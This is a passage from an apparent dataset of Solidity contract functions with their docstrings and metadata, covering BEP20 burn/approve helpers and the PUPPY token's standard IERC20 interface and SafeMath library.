function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | _burnFrom | function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
| /**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
9855,
10192
]
} | 8,338 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
94,
154
]
} | 8,339 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
237,
310
]
} | 8,340 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
534,
616
]
} | 8,341 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
895,
983
]
} | 8,342 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
1647,
1726
]
} | 8,343 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
2039,
2141
]
} | 8,344 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
259,
445
]
} | 8,345 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
723,
864
]
} | 8,346 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
1162,
1359
]
} | 8,347 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
